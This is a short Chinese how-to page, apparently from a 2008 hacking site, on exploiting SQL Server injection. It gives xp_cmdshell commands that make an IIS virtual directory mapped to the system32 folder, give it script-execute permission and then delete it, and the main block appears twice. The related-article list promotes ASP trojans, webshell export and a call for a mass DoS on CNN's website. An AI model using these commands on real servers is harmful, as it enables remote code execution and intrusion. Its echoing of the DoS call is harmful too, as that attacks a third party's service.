sql server注入建立虚拟目录的方法
更新时间：2008年01月20日 15:59:13 作者：
sql server注入建立虚拟目录的方法
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
建立虚拟目录win,指向c:\winnt\system32
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
让win句有解析asp脚本权限
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/"
删除虚拟目录。
找不到web绝对路径的一种解决办法，
http://xxx.com/win
403错误，表示虚拟目录建好了。。。
建立虚拟目录win,指向c:\winnt\system32
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
让win句有解析asp脚本权限
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/"
删除虚拟目录。
找不到web绝对路径的一种解决办法，
http://xxx.com/win
403错误，表示虚拟目录建好了。。。
相关文章
这篇文章主要介绍了让你变成ASP木马高手2007-01-01
利用方式:一个典型的sql注射漏洞,按照公告里说的用2008-05-05
巧用端口映射 不通过网关开放任意内网(LCX.exe)...2007-02-02
Ring的权限提升21中方法...2007-06-06
让侮辱中国人的法国cnn网站完蛋！！！只要你帮助打开一个网页！！ 如何DOS攻击CNN网站? ?将这些文字复制,并保存成一个html文件,然后在浏览器中打开,按提示启用脚本,然后,每隔3秒钟将自动连接一次cnn网站(注意,是自动的,只要你不关闭浏览器窗口就可以了,也不会影响你的其它操作),如果全世界中国人联合起来,那么cnn网站绝对崩溃2008-04-04
许多网友都想知道“QQ聊天记录删除了怎么恢复”，因为QQ聊天记录对于我们来说是很重要的数据。下面我们就来介绍下如何解决QQ聊天记录删除恢复的问题2012-03-03
MySQL注入中导出字段内容的研究通过注入导出WebShell
大家都知道，在MySQL中，无法像MSSQL那样执行script.asp?id=1;insert into table (field) values('angel');--来插入数据，因为MySQL里最多就是用union联合查询。2008-05-05
PHP服务端SESSION管理工具提供下载...2007-10-10
本站只是提供知识，方便大家以后的查杀木马，不是用来搞破坏2008-01-01
几款双功能免杀超强版asp小马，对于需要查找后门的朋友可以参考下。2010-09-09
最新评论